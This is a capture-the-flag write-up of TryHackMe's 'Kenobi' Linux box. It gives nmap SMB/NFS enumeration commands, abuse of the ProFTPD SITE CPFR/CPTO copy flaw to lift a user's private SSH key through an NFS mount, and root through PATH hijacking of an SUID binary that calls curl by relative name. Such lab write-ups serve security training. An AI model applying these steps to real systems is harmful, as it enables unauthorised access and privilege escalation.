Kenobi

An easy Linux box from TryHackMe, get initial access by exploiting ftpd, and use an SUID binary that doesn’t use full paths to get root.

Recon

Start with an nmap

sudo nmap -sC -sV 10.10.77.216

Find a samba server on 445, can use an nmap script to enumerate it

sudo nmap -p 445 --script=smb-enum-shares.nse,smb-enum-users.nse 10.10.77.216

Host script results:
| smb-enum-shares: 
|   account_used: guest
|   \\10.10.77.216\IPC$: 
|     Type: STYPE_IPC_HIDDEN
|     Comment: IPC Service (kenobi server (Samba, Ubuntu))
|     Users: 2
|     Max Users: <unlimited>
|     Path: C:\tmp
|     Anonymous access: READ/WRITE
|     Current user access: READ/WRITE
|   \\10.10.77.216\anonymous: 
|     Type: STYPE_DISKTREE
|     Comment: 
|     Users: 0
|     Max Users: <unlimited>
|     Path: C:\home\kenobi\share
|     Anonymous access: READ/WRITE
|     Current user access: READ/WRITE
|   \\10.10.77.216\print$: 
|     Type: STYPE_DISKTREE
|     Comment: Printer Drivers
|     Users: 0
|     Max Users: <unlimited>
|     Path: C:\var\lib\samba\printers
|     Anonymous access: <none>
|_    Current user access: <none>

Can connect to a share with smbclient

smbclient \\IP/SHARE

smbclient \\10.10.77.216/anonymous

Find and download a log.txt file that has some ssh information

The key fingerprint is:
SHA256:C17GWSl/v7KlUZrOwWxSyk+F7gYhVzsbfqkCIkr2d7Q kenobi@kenobi
The key's randomart image is:
+---[RSA 2048]----+
|                 |
|           ..    |
|        . o. .   |
|       ..=o +.   |
|      . So.o++o. |
|  o ...+oo.Bo*o  |
| o o ..o.o+.@oo  |
|  . . . E .O+= . |
|     . .   oBo.  |
+----[SHA256]-----+

And also has some information about the FTP server running

# This is a basic ProFTPD configuration file (rename it to 
# 'proftpd.conf' for actual use.  It establishes a single server
# and a single anonymous login.  It assumes that you have a user/group
# "nobody" and "ftp" for normal operation and anon.

ServerName			"ProFTPD Default Installation"
ServerType			standalone
DefaultServer			on

Can also recursively download a smbshare with

smbget -R smb://IP/SHARE

From the nmap also see rpc bind on 111. This is just a server that converts remote procedure call (RPC) program number into universal addresses. When an RPC service is started, it tells rpcbind the address at which it is listening and the RPC program number its prepared to serve.

nmap -p 111 --script=nfs-ls,nfs-statfs,nfs-showmount 10.10.77.216

PORT    STATE SERVICE
111/tcp open  rpcbind
| nfs-ls: Volume /var
|   access: Read Lookup NoModify NoExtend NoDelete NoExecute
| PERMISSION  UID  GID  SIZE  TIME                 FILENAME
| rwxr-xr-x   0    0    4096  2019-09-04T08:53:24  .
| rwxr-xr-x   0    0    4096  2019-09-04T12:27:33  ..
| rwxr-xr-x   0    0    4096  2019-09-04T12:09:49  backups
| rwxr-xr-x   0    0    4096  2019-09-04T10:37:44  cache
| rwxrwxrwt   0    0    4096  2019-09-04T08:43:56  crash
| rwxrwsr-x   0    50   4096  2016-04-12T20:14:23  local
| rwxrwxrwx   0    0    9     2019-09-04T08:41:33  lock
| rwxrwxr-x   0    108  4096  2019-09-04T10:37:44  log
| rwxr-xr-x   0    0    4096  2019-01-29T23:27:41  snap
| rwxr-xr-x   0    0    4096  2019-09-04T08:53:24  www
|_
| nfs-showmount: 
|_  /var *
| nfs-statfs: 
|   Filesystem  1K-blocks  Used       Available  Use%  Maxfilesize  Maxlink
|_  /var        9204224.0  1836536.0  6877092.0  22%   16.0T        32000

Searching for the ftpd version on searchsploit, find that its vulnerable

The current version allows for files to be copied from anywhere on the system to anywhere else

Exploitation

Connecting to the ftpd server with netcat, can use the SITE CPFR and SITE CPTO commands to copy files and directories from one place to another on the server, anywhere on the system

To exploit it, copy the id_rsa key from the found user, kenobi, to a place on the system we can see - the /var, then mount /var to our system for access to the id_rsa key

mkdir /mnt/kenobi
mount 10.10.77.216:/var /mnt/kenobi
cd /mnt/kenobi

And get the ssh key inside of the /tmp folder

Can now connect with kenobi’s ssh key

chmod +600 id_rsa
ssh -i id_rsa kenobi@10.10.77.216

On kenobi’s box, search for SUID files

find / -perm -u=s -type f 2>/dev/null

And find a “menu” binary that looks out of place with SUID bit set

Running strings on the binary find

strings menu

curl -I localhost
uname -r
ifconfig

curl is being run without a full path, checking the path, kenobi’s home directory is first in the path before the real location of curl

Copying /bin/sh into kenobi’s home directory

echo /bin/sh > curl
chmod 777 curl

Then run menu to get root

Kenobi

Recon #

Exploitation #

Recon

Exploitation